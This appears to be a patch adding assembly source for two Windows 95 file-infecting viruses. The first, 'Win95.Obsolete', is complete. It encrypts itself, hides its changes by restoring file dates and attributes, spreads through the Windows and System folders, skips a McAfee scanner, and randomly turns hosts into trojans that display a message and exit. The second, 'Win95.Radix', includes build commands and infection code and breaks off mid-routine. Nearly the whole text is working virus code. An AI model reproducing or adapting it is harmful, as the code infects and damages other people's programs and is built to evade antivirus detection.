||||
;
|
||||
; CREDITS:
|
||||
;
|
||||
; Thanks to Lord Julus for writing that PE-infection guide which showed me
|
||||
; the basics of Win32-programming, further more JFK's One was of much help
|
||||
; as it was well commented, yet not too complicated. Biggest thanks go to
|
||||
; Virogen and Murkry for teaching me the steps of how to infect a PE-file.
|
||||
; Unfortunately Johnny Panic's info was a bit too advanched for me to
|
||||
; understand as for now, and TechnoDrunk's advice was as usual hidden
|
||||
; between a large amount of polymorphic junk-comments. Much information was
|
||||
; gathered from the excellent PE-essays written by Micheal J. O'Leary and
|
||||
; B. Luevelsmeyer (though the last one mentioned contained some errors).
|
||||
;
|
||||
; As this is my 1st Win32-virus, errors are very likely to exist in this
|
||||
; source, if you do find any of them, and/or have any advice for me regarding
|
||||
; Win32-coding, please do inform me about it.
|
||||
;
|
||||
; P.S. First generations will crash on exit.
|
||||
;
|
||||
; P.P.S. How the fuck do I smash sectors in Win32 ?
|
||||
;
|
||||
;============================================================================
|
||||
|
||||
|
||||
ORG 0
|
||||
|
||||
.386p
|
||||
.MODEL FLAT
|
||||
.DATA
|
||||
|
||||
DD 0 ; Uch, without this the file will
|
||||
; crash, don't ask me why...
|
||||
|
||||
|
||||
EXTRN CreateThreadA:PROC ; GetProcAddress seems to need these.
|
||||
EXTRN MessageBoxIndirectA:PROC
|
||||
|
||||
|
||||
.CODE
|
||||
|
||||
Off = 0
|
||||
On = 1
|
||||
|
||||
Debug_Mode = On ; If switched on, only DUM*.*
|
||||
; will be infected.
|
||||
|
||||
Files_Per_Dir EQU 3 ; 3 files per directory.
|
||||
Marker_File EQU 'T2IR' ; Creeping through ur files.
|
||||
Virus_Size EQU (Virus_End-START) ; Physical virussize.
|
||||
Virus_Size_Mem EQU (Virus_End_Mem-START) ; Virtual virussize.
|
||||
|
||||
|
||||
START:
|
||||
PUSHFD ; Save flags & registers.
|
||||
PUSHAD
|
||||
|
||||
CALL Get_Delta ; Get our position in memory.
|
||||
Get_Delta: POP ESI
|
||||
SUB ESI, (Get_Delta-START)
|
||||
|
||||
MOV AL, 0 ; Load initial virus-key.
|
||||
Initial_Key = BYTE PTR $-1
|
||||
|
||||
MOV EBX, (Encrypted-START)
|
||||
MOV ECX, (Virus_End-Encrypted)
|
||||
|
||||
Decrypt_Byte: XOR [ESI+EBX], AL ; Decrypt a byte.
|
||||
|
||||
INC EBX ; Next one please.
|
||||
|
||||
ADD AL, 0 ; X-Ray, away.
|
||||
Sliding_Key = BYTE PTR $-1
|
||||
|
||||
LOOP Decrypt_Byte ; And repeat the process.
|
||||
|
||||
Encrypted: ; All that comes after this is kept encrypted in PE's.
|
||||
|
||||
; Get image-base, this method should also work
|
||||
; if the image is loaded at a different base
|
||||
; than the one specified in the PE-header.
|
||||
|
||||
MOV EAX, ESI
|
||||
|
||||
SUB EAX, 12345678h
|
||||
Virus_RVA = DWORD PTR $-4
|
||||
|
||||
MOV [ESI+(Host_Image_Base-START)], EAX
|
||||
|
||||
ADD [ESI+(Old_EIP-START)], EAX
|
||||
|
||||
MOV EAX, (KERNEL32_API-START)
|
||||
LEA EDI, [ESI+(K32_API_Addresses-START)]
|
||||
CALL Retrieve_API
|
||||
JECXZ JMP_Exec_Host
|
||||
|
||||
JMP Begin_Search
|
||||
Payload_Switch = BYTE PTR $-1
|
||||
|
||||
Trojan: ; Trojanized files will continue execution here.
|
||||
|
||||
; Retrieve API-addresses in USER32.DLL.
|
||||
|
||||
MOV EAX, (USER32_API-START)
|
||||
CALL Retrieve_API
|
||||
JECXZ JMP_Exec_Host
|
||||
|
||||
; Generate a soundblaster-beep.
|
||||
|
||||
PUSH MB_ICONEXCLAMATION
|
||||
CALL [ESI+(MessageBeep-START)]
|
||||
|
||||
; Display a box with a message.
|
||||
|
||||
PUSH MB_ICONEXCLAMATION
|
||||
LEA EAX, [ESI+(Window_Name-START)]
|
||||
PUSH EAX
|
||||
LEA EAX, [ESI+(Payload_Msg-START)]
|
||||
PUSH EAX
|
||||
PUSH 0
|
||||
CALL [ESI+(MessageBoxA-START)]
|
||||
|
||||
; Exit current process.
|
||||
|
||||
CALL [ESI+(ExitProcess-START)]
|
||||
|
||||
|
||||
Window_Name DB 'Win95.Obsolete v1.00', 0
|
||||
Payload_Msg DB 'MAN HAS BECOME OBSOLETE... FEAR THE MACHINES!', 0
|
||||
|
||||
|
||||
JMP_Exec_Host: JMP Execute_Host
|
||||
|
||||
|
||||
Begin_Search:
|
||||
LEA EBX, [ESI+(Current_Directory-START)]
|
||||
MOV ECX, MAX_PATH
|
||||
|
||||
PUSH EBX
|
||||
|
||||
; Save original path.
|
||||
|
||||
PUSH EBX
|
||||
PUSH ECX
|
||||
CALL [ESI+(GetCurrentDirectoryA-START)]
|
||||
|
||||
; Obtain path to Windoze-directory.
|
||||
|
||||
ADD EBX, ECX
|
||||
|
||||
PUSH EBX
|
||||
|
||||
PUSH ECX
|
||||
PUSH EBX
|
||||
CALL [ESI+(GetWindowsDirectoryA-START)]
|
||||
|
||||
; Obtain path to Windoze\System-directory.
|
||||
|
||||
ADD EBX, ECX
|
||||
|
||||
PUSH EBX
|
||||
|
||||
PUSH ECX
|
||||
PUSH EBX
|
||||
CALL [ESI+(GetSystemDirectoryA-START)]
|
||||
|
||||
; Infect files in Windoze-directory.
|
||||
|
||||
MOV EBX, [ESI+(SetCurrentDirectoryA-START)]
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
; Infect files in Windoze\System-directory.
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
; Infect files in the current directory.
|
||||
|
||||
CALL EBX
|
||||
CALL Infect_Directory
|
||||
|
||||
Execute_Host: MOV ECX, 0
|
||||
Section_Size = DWORD PTR $-4
|
||||
JECXZ Virus_Exit
|
||||
|
||||
MOV EBX, 400000h
|
||||
Host_Image_Base = DWORD PTR $-4
|
||||
|
||||
ADD EBX, OFFSET Carrier
|
||||
RVA_Encrypted = DWORD PTR $-4
|
||||
|
||||
MOV AL, 0
|
||||
Init_K_Section = BYTE PTR $-1
|
||||
|
||||
Decr_Section: XOR [EBX], AL ; Decrypt the host's section.
|
||||
|
||||
INC EBX
|
||||
|
||||
ADD AL, 0
|
||||
Slide_K_Section = BYTE PTR $-1
|
||||
|
||||
LOOP Decr_Section
|
||||
|
||||
Virus_Exit: POPAD ; Restore registers & flags.
|
||||
POPFD
|
||||
|
||||
MOV EAX, OFFSET Carrier ; EAX = EIP of program.
|
||||
Old_EIP = DWORD PTR $-4
|
||||
|
||||
JMP EAX
|
||||
|
||||
|
||||
|
||||
Infect_Directory:
|
||||
|
||||
PUSHAD
|
||||
|
||||
; Reset infection-counter.
|
||||
|
||||
AND BYTE PTR [ESI+(Infect_Counter-START)], 0
|
||||
|
||||
LEA EAX, [ESI+(Search_Buffer-START)]
|
||||
PUSH EAX
|
||||
LEA EAX, [ESI+(File_Spec-START)]
|
||||
PUSH EAX
|
||||
CALL [ESI+(FindFirstFileA-START)]
|
||||
|
||||
CMP EAX, -1 ; Abort on error.
|
||||
JE Exit_Infect
|
||||
|
||||
XCHG EBP, EAX
|
||||
|
||||
Infect_Loop: CMP BYTE PTR [ESI+(Infect_Counter-START)], Files_Per_Dir
|
||||
JNB Exit_Infect
|
||||
|
||||
Infect_File: PUSH EBP
|
||||
|
||||
LEA EBX, [ESI+(Search_Buffer.Find_File_Name-START)]
|
||||
|
||||
Check_File_Ext: MOV EDI, EBX
|
||||
|
||||
XOR AL, AL ; Find end of ASCIIZ-string.
|
||||
MOV CH, 0FFh
|
||||
CLD
|
||||
REPNZ SCASB
|
||||
|
||||
MOV EAX, [EDI-5] ; Get last DWORD of filename.
|
||||
CALL Upcase_EAX
|
||||
|
||||
CMP EAX, 'EXE.' ; Standard .EXE-file?
|
||||
JE Check_Filename
|
||||
|
||||
Go_Find_Next_F: CMP EAX, 'RCS.' ; Screensaver-file?
|
||||
JNE Find_Next_File
|
||||
|
||||
Check_Filename: MOV EAX, [EBX] ; Get 1st DWORD of filename.
|
||||
CALL Upcase_EAX
|
||||
|
||||
CMP EAX, 'NACS' ; Don't infect McFuck SCAN,
|
||||
JE Go_Find_Next_F ; (most overused Windoze AV).
|
||||
|
||||
Save_File_Attr: PUSH EBX
|
||||
CALL [ESI+(GetFileAttributesA-START)]
|
||||
|
||||
PUSH EAX
|
||||
PUSH EBX
|
||||
|
||||
; Clear the readonly-flag.
|
||||
|
||||
AND AL, NOT FILE_ATTRIBUTE_READONLY
|
||||
|
||||
PUSH EAX
|
||||
PUSH EBX
|
||||
CALL [ESI+(SetFileAttributesA-START)]
|
||||
|
||||
XOR EBP, EBP
|
||||
|
||||
PUSH EBP ; Open the file.
|
||||
PUSH FILE_ATTRIBUTE_NORMAL
|
||||
PUSH OPEN_EXISTING
|
||||
PUSH EBP
|
||||
PUSH EBP
|
||||
PUSH GENERIC_READ OR GENERIC_WRITE
|
||||
PUSH EBX
|
||||
CALL [ESI+(CreateFileA-START)]
|
||||
|
||||
CMP EAX, -1 ; Error?
|
||||
JE Restore_Attr
|
||||
|
||||
MOV [ESI+(File_Handle-START)], EAX
|
||||
|
||||
PUSH EAX
|
||||
|
||||
XCHG EDI, EAX
|
||||
|
||||
; Save the host's time/date of creation,
|
||||
; last access, and last write.
|
||||
|
||||
LEA EAX, [ESI+(Victim_Last_Write_Time-START)]
|
||||
|
||||
PUSH EAX
|
||||
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
PUSH EDI
|
||||
CALL [ESI+(GetFileTime-START)]
|
||||
|
||||
PUSH EBP
|
||||
PUSH EDI
|
||||
CALL [ESI+(GetFileSize-START)]
|
||||
|
||||
MOV [ESI+(Host_Size-START)], EAX
|
||||
|
||||
ADD EAX, Virus_Size
|
||||
|
||||
; Like, allocate memory for the mapped file, or
|
||||
; whatever the fuck this shit is neccesary for.
|
||||
|
||||
PUSH EBP
|
||||
PUSH EAX
|
||||
PUSH EBP
|
||||
PUSH PAGE_READWRITE
|
||||
PUSH EBP
|
||||
PUSH EDI
|
||||
CALL [ESI+(CreateFileMappingA-START)]
|
||||
|
||||
OR EAX, EAX ; Error?
|
||||
JZ Close_File
|
||||
|
||||
PUSH EAX
|
||||
|
||||
; This should map the file in our
|
||||
; allocated memory, am I not right???
|
||||
|
||||
PUSH EBP ; WHOLE file.
|
||||
PUSH EBP
|
||||
PUSH EBP
|
||||
PUSH FILE_MAP_WRITE
|
||||
PUSH EAX
|
||||
CALL [ESI+(MapViewOfFile-START)]
|
||||
|
||||
OR EAX, EAX ; Error?
|
||||
JZ Close_Mapping
|
||||
|
||||
PUSH EAX
|
||||
|
||||
CMP [EAX.EXE_Mark], 'ZM' ; File must be .EXE-type.
|
||||
JNE Unmap_File
|
||||
|
||||
CMP [EAX.Reloc_Table], 40h ; It has a NE/PE-header?
|
||||
JB Unmap_File
|
||||
|
||||
MOV ECX, [EAX+3Ch] ; Obtain pointer to PE-header.
|
||||
|
||||
LEA EDI, [EAX+ECX] ; EDI = PE-header.
|
||||
|
||||
CMP [EDI.PE_Mark], 'EP' ; Make sure it's a PE-file.
|
||||
JNE Unmap_File
|
||||
|
||||
; A bit redundant, I guess...
|
||||
|
||||
CMP [EDI.CPU_Type], 14Ch ; This PE is for 386+'s ?
|
||||
JNE Unmap_File
|
||||
|
||||
; === Avoid DLL's. ===
|
||||
|
||||
TEST BYTE PTR [EDI.PE_Flags+1], 00100000b
|
||||
JNZ Unmap_File
|
||||
|
||||
; === Did we already infect it before? ===
|
||||
|
||||
CMP [EDI.Reserved_1], Marker_File
|
||||
JE Unmap_File
|
||||
|
||||
XCHG EBX, EAX ; EBX = Mapping-address.
|
||||
|
||||
; === Get last section-header. ===
|
||||
|
||||
XOR EAX, EAX
|
||||
MOV AX, [EDI.Number_Of_Sections]
|
||||
DEC AX
|
||||
MOV ECX, 40
|
||||
MUL ECX
|
||||
|
||||
MOV EDX, EDI ; EDX = PE-header.
|
||||
|
||||
MOV BP, [EDX.Headers_Size]
|
||||
ADD EBP, 18h
|
||||
ADD EBP, EAX
|
||||
ADD EBP, EDX ; EBP = Last section-header.
|
||||
|
||||
MOV EAX, [EBP.Section_Start]
|
||||
ADD EAX, [EBP.Section_Size_Raw]
|
||||
|
||||
LEA EDI, [EAX+EBX] ; Offset of virus in file.
|
||||
|
||||
PUSHAD
|
||||
|
||||
MOV ECX, Virus_Size ; Copy virus to mapped file.
|
||||
CLD
|
||||
REP MOVSB
|
||||
|
||||
POPAD
|
||||
|
||||
ADD EAX, Virus_Size ; Set new size of host.
|
||||
|
||||
MOV [ESI+(Host_Size-START)], EAX
|
||||
|
||||
PUSH [EDX.Entry_Point]
|
||||
POP DWORD PTR [EDI+(Old_EIP-START)]
|
||||
|
||||
; Calculate virus' new EIP RVA.
|
||||
|
||||
MOV EAX, [EBP.Section_RVA]
|
||||
ADD EAX, [EBP.Section_Size_Raw]
|
||||
|
||||
MOV [EDX.Entry_Point], EAX ; Set our new entrypoint.
|
||||
|
||||
MOV [EDI+(Virus_RVA-START)], EAX
|
||||
|
||||
IN AX, 40h ; Get a random value in AL.
|
||||
XOR AL, AH
|
||||
|
||||
AND AL, 11111100b ; Trojanize this victim?
|
||||
JNZ Skip_Trojanize
|
||||
|
||||
; Patch JMP to let it point to the trojan-code.
|
||||
|
||||
MOV [EDI+(Payload_Switch-START)], AL
|
||||
|
||||
Skip_Trojanize: MOV EAX, [EBP.Section_Size_Raw]
|
||||
MOV ECX, [EBP.Section_Size_Virtual]
|
||||
|
||||
; Always pick the smallest size.
|
||||
|
||||
CMP EAX, ECX ; The other one is smaller?
|
||||
JNB Not_Bigger ; No, leave things this way.
|
||||
|
||||
XCHG ECX, EAX ; Else use the smaller size.
|
||||
|
||||
Not_Bigger: MOV [EDI+(Section_Size-START)], ECX
|
||||
|
||||
ADD [EBP.Section_Size_Virtual], Virus_Size_Mem
|
||||
ADD [EBP.Section_Size_Raw], Virus_Size
|
||||
ADD [EDX.Image_Size], Virus_Size
|
||||
|
||||
; Set object-flags: code, executable, readable, and writable.
|
||||
|
||||
OR [EBP.Section_Flags], 11100000000000000000000000100000b
|
||||
|
||||
JECXZ Encrypt_Virus ; Don't let LOOP overflow.
|
||||
|
||||
ADD EBX, [EBP.Section_Start]
|
||||
|
||||
PUSH [EBP.Section_RVA]
|
||||
POP DWORD PTR [EDI+(RVA_Encrypted-START)]
|
||||
|
||||
IN AX, 40h ; Get random keys.
|
||||
|
||||
MOV [EDI+(Init_K_Section-START)], AL
|
||||
MOV [EDI+(Slide_K_Section-START)], AH
|
||||
|
||||
Encr_Section: XOR [EBX], AL ; Encrypt host's last section.
|
||||
|
||||
INC EBX
|
||||
|
||||
ADD AL, AH
|
||||
|
||||
LOOP Encr_Section
|
||||
|
||||
Encrypt_Virus: IN AX, 40h ; Get a random value in AX.
|
||||
|
||||
MOV [EDI+(Initial_Key-START)], AL
|
||||
MOV [EDI+(Sliding_Key-START)], AH
|
||||
|
||||
ADD EDI, (Encrypted-START)
|
||||
MOV ECX, (Virus_End-Encrypted)
|
||||
|
||||
Encrypt_Byte: XOR [EDI], AL ; Encrypt virusbody.
|
||||
|
||||
INC EDI
|
||||
|
||||
ADD AL, AH
|
||||
|
||||
LOOP Encrypt_Byte
|
||||
|
||||
; Mark this host as being infected.
|
||||
|
||||
MOV [EDX.Reserved_1], Marker_File
|
||||
|
||||
; We succesfully infected yet another file.
|
||||
|
||||
INC BYTE PTR [ESI+(Infect_Counter-START)]
|
||||
|
||||
Unmap_File: CALL [ESI+(UnmapViewOfFile-START)]
|
||||
|
||||
Close_Mapping: CALL [ESI+(CloseHandle-START)]
|
||||
|
||||
Close_File: PUSH 0
|
||||
PUSH 0
|
||||
PUSH 12345678h
|
||||
Host_Size = DWORD PTR $-4
|
||||
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||||
CALL [ESI+(SetFilePointer-START)]
|
||||
|
||||
PUSH DWORD PTR [ESI+(File_Handle-START)]
|
||||
CALL [ESI+(SetEndOfFile-START)]
|
||||
|
||||
POP EAX
|
||||
|
||||
PUSH EAX ; Restore original filedates
|
||||
ADD EAX, 8 ; and times.
|
||||
PUSH EAX
|
||||
ADD EAX, 8
|
||||
PUSH EAX
|
||||
PUSH 12345678h
|
||||
File_Handle = DWORD PTR $-4
|
||||
CALL [ESI+(SetFileTime-START)]
|
||||
|
||||
CALL [ESI+(CloseHandle-START)]
|
||||
|
||||
Restore_Attr: CALL [ESI+(SetFileAttributesA-START)]
|
||||
|
||||
Find_Next_File: POP EBP
|
||||
|
||||
; Now go find the next .EXE-file.
|
||||
|
||||
LEA EAX, [ESI+(Search_Buffer-START)]
|
||||
PUSH EAX
|
||||
PUSH EBP
|
||||
CALL [ESI+(FindNextFileA-START)]
|
||||
|
||||
OR EAX, EAX
|
||||
JNZ Infect_Loop
|
||||
|
||||
Exit_Infect: POPAD
|
||||
|
||||
RET
|
||||
|
||||
|
||||
Author DB '(c) 1998-1999 by T-2000 / Immortal Riot', 0
|
||||
|
||||
|
||||
; EAX = Offset to module-name.
|
||||
; EDI = Pointer to buffer API-addresses.
|
||||
Retrieve_API:
|
||||
PUSH ESI
|
||||
|
||||
MOV EBX, ESI ; EBX holds the delta-offset.
|
||||
|
||||
ADD ESI, EAX ; Module-name.
|
||||
|
||||
; === Get the base-address of the given module. ===
|
||||
|
||||
PUSH ESI
|
||||
CALL [EBX+(GetModuleHandleA-START)]
|
||||
|
||||
XCHG ECX, EAX
|
||||
JECXZ Exit_Get_API
|
||||
|
||||
MOV EBP, ECX ; EBP = Module-base.
|
||||
|
||||
ADD ESI, 13 ; ESI = Start API-names.
|
||||
|
||||
Retrieve_Addr: PUSH ESI ; Retrieve the API's address.
|
||||
PUSH EBP
|
||||
CALL [EBX+(GetProcAddress-START)]
|
||||
|
||||
CLD ; Store the API-address.
|
||||
STOSD
|
||||
|
||||
XCHG ECX, EAX
|
||||
JECXZ Exit_Get_API
|
||||
|
||||
Find_End_API: LODSB ; Go to next API-name.
|
||||
|
||||
OR AL, AL ; Reached the end of ASCIIZ?
|
||||
JNZ Find_End_API
|
||||
|
||||
CMP [ESI], AL ; We did 'em all?
|
||||
JNZ Retrieve_Addr ; Nope, so continue loop.
|
||||
|
||||
Exit_Get_API: POP ESI
|
||||
|
||||
RET
|
||||
|
||||
|
||||
; Don't use a lame AND to convert to uppercase, it'll
|
||||
; screw things up with non-alfabethical characters.
|
||||
Upcase_EAX:
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
CALL Upcase_AL
|
||||
|
||||
ROL EAX, 8
|
||||
|
||||
Upcase_AL: CMP AL, 'a'
|
||||
JB Exit_Upcase_AL
|
||||
|
||||
CMP AL, 'z'
|
||||
JA Exit_Upcase_AL
|
||||
|
||||
SUB AL, 'a' - 'A'
|
||||
|
||||
Exit_Upcase_AL: RET
|
||||
|
||||
|
||||
; ********************* DATA AREA *******************************************
|
||||
|
||||
|
||||
IF Debug_Mode
|
||||
|
||||
File_Spec DB 'DUM*.*', 0 ; Searchmask for debugmode.
|
||||
|
||||
ELSE
|
||||
|
||||
File_Spec DB '*.*', 0 ; Searchmask for wildmode.
|
||||
|
||||
ENDIF
|
||||
|
||||
|
||||
; All API's used by the actual infection-process.
|
||||
|
||||
KERNEL32_API DB 'KERNEL32.dll', 0
|
||||
DB 'GetWindowsDirectoryA', 0
|
||||
DB 'GetSystemDirectoryA', 0
|
||||
DB 'FindFirstFileA', 0
|
||||
DB 'FindNextFileA', 0
|
||||
DB 'CreateFileA', 0
|
||||
DB 'CreateFileMappingA', 0
|
||||
DB 'MapViewOfFile', 0
|
||||
DB 'UnmapViewOfFile', 0
|
||||
DB 'CloseHandle', 0
|
||||
DB 'GetFileTime', 0
|
||||
DB 'SetFileTime', 0
|
||||
DB 'GetFileSize', 0
|
||||
DB 'SetFilePointer', 0
|
||||
DB 'SetEndOfFile', 0
|
||||
DB 'GetCurrentDirectoryA', 0
|
||||
DB 'SetCurrentDirectoryA', 0
|
||||
DB 'GetFileAttributesA', 0
|
||||
DB 'SetFileAttributesA', 0
|
||||
DB 'ExitProcess', 0
|
||||
DB 0
|
||||
|
||||
|
||||
; This shit is only used by the trojan-code.
|
||||
|
||||
USER32_API DB 'USER32.dll', 0, 0, 0
|
||||
DB 'MessageBoxA', 0
|
||||
DB 'MessageBeep', 0
|
||||
DB 0
|
||||
|
||||
|
||||
; Fuck, these are hardcoded!
|
||||
|
||||
GetModuleHandleA DD 0BFF775BDh
|
||||
GetProcAddress DD 0BFF76D5Ch
|
||||
|
||||
|
||||
Virus_End:
|
||||
|
||||
|
||||
K32_API_Addresses:
|
||||
|
||||
GetWindowsDirectoryA DD 0
|
||||
GetSystemDirectoryA DD 0
|
||||
FindFirstFileA DD 0
|
||||
FindNextFileA DD 0
|
||||
CreateFileA DD 0
|
||||
CreateFileMappingA DD 0
|
||||
MapViewOfFile DD 0
|
||||
UnmapViewOfFile DD 0
|
||||
CloseHandle DD 0
|
||||
GetFileTime DD 0
|
||||
SetFileTime DD 0
|
||||
GetFileSize DD 0
|
||||
SetFilePointer DD 0
|
||||
SetEndOfFile DD 0
|
||||
GetCurrentDirectoryA DD 0
|
||||
SetCurrentDirectoryA DD 0
|
||||
GetFileAttributesA DD 0
|
||||
SetFileAttributesA DD 0
|
||||
ExitProcess DD 0
|
||||
|
||||
|
||||
U32_API_Addresses:
|
||||
|
||||
MessageBoxA DD 0
|
||||
MessageBeep DD 0
|
||||
|
||||
|
||||
Current_Directory DB MAX_PATH DUP(0)
|
||||
Windows_Directory DB MAX_PATH DUP(0)
|
||||
System_Directory DB MAX_PATH DUP(0)
|
||||
|
||||
|
||||
Infect_Counter DB 0
|
||||
|
||||
|
||||
Victim_Last_Write_Time DD 0, 0
|
||||
Victim_Last_Access_Time DD 0, 0
|
||||
Victim_Creation_Time DD 0, 0
|
||||
|
||||
|
||||
Search_Buffer DB 666 DUP(0)
|
||||
|
||||
|
||||
Virus_End_Mem:
|
||||
|
||||
; ???????????????????????????????????????????????????????????????????????????
|
||||
|
||||
|
||||
Section_Header STRUC
|
||||
Section_Name DB 8 DUP(0)
|
||||
Section_Size_Virtual DD 0
|
||||
Section_RVA DD 0
|
||||
Section_Size_Raw DD 0
|
||||
Section_Start DD 0
|
||||
DD 0, 0
|
||||
DW 0, 0
|
||||
Section_Flags DD 0
|
||||
Section_Header ENDS
|
||||
|
||||
|
||||
Find_First_Next_Win32 STRUC
|
||||
File_Attributes DD 0
|
||||
Creation_Time DD 0, 0
|
||||
Last_Accessed_Time DD 0, 0
|
||||
Last_Written_Time DD 0, 0
|
||||
Find_File_Size_High DD 0
|
||||
Find_File_Size_Low DD 0
|
||||
Find_Reserved_1 DD 0
|
||||
Find_Reserved_2 DD 0
|
||||
Find_File_Name DB 260 DUP(0)
|
||||
Find_DOS_File_Name DB 13 DUP(0)
|
||||
Find_First_Next_Win32 ENDS
|
||||
|
||||
|
||||
EXE_Header STRUC
|
||||
EXE_Mark DW 0 ; Marker valid .EXE-file: MZ or ZM.
|
||||
Image_Mod_512 DW 0
|
||||
Image_512_Pages DW 0
|
||||
Reloc_Items DW 0
|
||||
Header_Size_Mem DW 0
|
||||
Min_Size_Mem DW 0
|
||||
Max_Size_Mem DW 0
|
||||
Program_SS DW 0
|
||||
Program_SP DW 0
|
||||
Checksum DW 0
|
||||
Program_IP DW 0
|
||||
Program_CS DW 0
|
||||
Reloc_Table DW 0
|
||||
EXE_Header ENDS
|
||||
|
||||
|
||||
PE_Header STRUC
|
||||
PE_Mark DD 0 ; PE-marker (PE/0/0).
|
||||
CPU_Type DW 0
|
||||
Number_Of_Sections DW 0
|
||||
DD 0
|
||||
Reserved_1 DD 0
|
||||
DD 0
|
||||
Headers_Size DW 0
|
||||
PE_Flags DW 0
|
||||
DW 8 DUP(0)
|
||||
Entry_Point DD 0
|
||||
DD 2 DUP(0)
|
||||
Image_Base DD 0
|
||||
Object_Align DD 0
|
||||
File_Align DD 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DW 0, 0
|
||||
DD 0
|
||||
Image_Size DD 0
|
||||
PE_Header ENDS
|
||||
|
||||
|
||||
; This shit ain't complete.
|
||||
|
||||
INCLUDE WIN32API.INC
|
||||
|
||||
|
||||
Carrier:
|
||||
PUSH 0
|
||||
CALL ExitProcess
|
||||
|
||||
END START
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,238 @@
|
||||
; Win95.Radix by Radix16[MIONS]
|
||||
; Made in Czech republic
|
||||
;
|
||||
;Hi,
|
||||
;
|
||||
;It's my first Ring3 virus for Win9x.Virus not testing WinNT system.
|
||||
;
|
||||
;Target : PE filez
|
||||
;Virus size : 405(402)
|
||||
;Resident : NO
|
||||
;Polymorhic : NO
|
||||
;
|
||||
;Virus not dangerous, but .....
|
||||
;
|
||||
;Decription AVP:
|
||||
;
|
||||
;http://www.avp.ch/avpve/newexe/win95/radix.stm
|
||||
;
|
||||
;It is a harmless nonmemory resident parasitic Win9x virus. It searches
|
||||
;for PE EXE files in the current directory, then writes itself to the
|
||||
;middle of the file, to not used space at the end of the PE header.
|
||||
;
|
||||
;The virus does not manifest itself in any way. It contains the text:
|
||||
;
|
||||
; Radix16
|
||||
|
||||
;Greets to :
|
||||
; Worf[MIONS]
|
||||
; VirusBuster/29
|
||||
; Prizzy/29A
|
||||
;
|
||||
;
|
||||
;How to build:
|
||||
; tasm32 -ml -m5 radix.asm
|
||||
; tlink32 -Tpe -aa -c -x radix.obj,,, import32
|
||||
; pewrsec radix.exe
|
||||
;
|
||||
;Contacty mee : Radix16@atlas.cz
|
||||
; Radix16.cjb.net
|
||||
|
||||
.386p
|
||||
locals
|
||||
.Model Flat,STDCALL
|
||||
|
||||
extrn ExitProcess :proc
|
||||
extrn GetModuleHandleA : proc
|
||||
|
||||
|
||||
.Data
|
||||
db ?
|
||||
|
||||
.Code
|
||||
|
||||
vStart label byte
|
||||
Start:
|
||||
|
||||
db 68h
|
||||
;Save old eip
|
||||
oldip: dd offset exit
|
||||
pushad
|
||||
Call Next
|
||||
id db 'Radix16'
|
||||
Next:
|
||||
pop ebp
|
||||
|
||||
|
||||
mov esi,KERNEL32+3ch
|
||||
lodsd
|
||||
add eax,KERNEL32
|
||||
xchg eax,esi
|
||||
mov esi,dword ptr [esi+78h]
|
||||
lea esi,dword ptr [esi+1ch+KERNEL32]
|
||||
lodsd
|
||||
mov eax,dword ptr [eax+KERNEL32]
|
||||
add eax,KERNEL32
|
||||
|
||||
push eax
|
||||
push 20060000h
|
||||
push 0h
|
||||
push 1h
|
||||
db 68h
|
||||
currPage:
|
||||
dd FSTGENPAGE
|
||||
push 1000dh
|
||||
call eax
|
||||
pop dword ptr [_VxDCALL0+ebp-X]
|
||||
inc eax
|
||||
jz _exit
|
||||
inc eax
|
||||
;allocation memory
|
||||
push 00020000h or 00040000h
|
||||
push 2h
|
||||
push 80060000h
|
||||
push 00010000h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
|
||||
|
||||
mov dword ptr [memory+ebp-X],eax
|
||||
|
||||
push 00020000h or 00040000h or 80000000h or 8h
|
||||
push 0h
|
||||
push 1h
|
||||
push 2h
|
||||
shr eax,12
|
||||
push eax
|
||||
push 00010001h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
;Create DTA
|
||||
mov ah,1ah
|
||||
mov edx,dword ptr [memory+ebp-X] ;buffer
|
||||
add edx,1000h
|
||||
call int21
|
||||
|
||||
mov ah,4eh ;FindFirstFile
|
||||
lea edx,[_exe+ebp-X] ;What search
|
||||
xor ecx,ecx ;normal attributes
|
||||
|
||||
tryanother:
|
||||
call int21
|
||||
jc _exit ;is filez ?
|
||||
|
||||
call _infect
|
||||
|
||||
mov ah,4fh ;FindNextFile
|
||||
Jmp tryanother
|
||||
|
||||
_exit:
|
||||
popad
|
||||
ret
|
||||
|
||||
_exe db '*.*',0 ;filez search
|
||||
|
||||
int21:
|
||||
;VxDCALL services
|
||||
push ecx
|
||||
push eax
|
||||
push 002a0010h
|
||||
call dword ptr [_VxDCALL0+ebp-X]
|
||||
ret
|
||||
|
||||
FP: ;Set file pointer
|
||||
mov ah,42h
|
||||
cdq ;xor dx,dx
|
||||
xor cx,cx
|
||||
call int21
|
||||
ret
|
||||
|
||||
|
||||
_infect:
|
||||
|
||||
|
||||
mov edx,dword ptr [memory+ebp-X] ;Name file
|
||||
add edx,101eh
|
||||
|
||||
mov ax,3d02h ;Open File R/W
|
||||
call int21
|
||||
jc quit ;Error ?
|
||||
|
||||
xchg eax,ebx ;FileHandle
|
||||
|
||||
mov ah,3fh ;Read File
|
||||
mov ecx,1000h ;Read 1000h bytes
|
||||
mov edx,dword ptr [memory+ebp-X]
|
||||
call int21
|
||||
jc quitz ;Error ?
|
||||
|
||||
|
||||
mov edi,edx
|
||||
cmp word ptr [edi],'ZM' ;Test Header (EXE)
|
||||
jne quitz ;yes or no ?
|
||||
cmp word ptr [edi+32h],'61' ;Test infection
|
||||
je quitz ;Yes, virus is in file ?
|
||||
mov word ptr [edi+32h],'61' ;No ,Save ID to file
|
||||
add edi,dword ptr [edi+3ch] ;Testing Portable Executable(PE)
|
||||
cmp word ptr [edi],'EP'
|
||||
jne quitz
|
||||
|
||||
|
||||
mov esi,edi
|
||||
mov eax,18h ;Shift image header
|
||||
add ax,word ptr [edi+14h]
|
||||
add edi,eax
|
||||
|
||||
;Search end section
|
||||
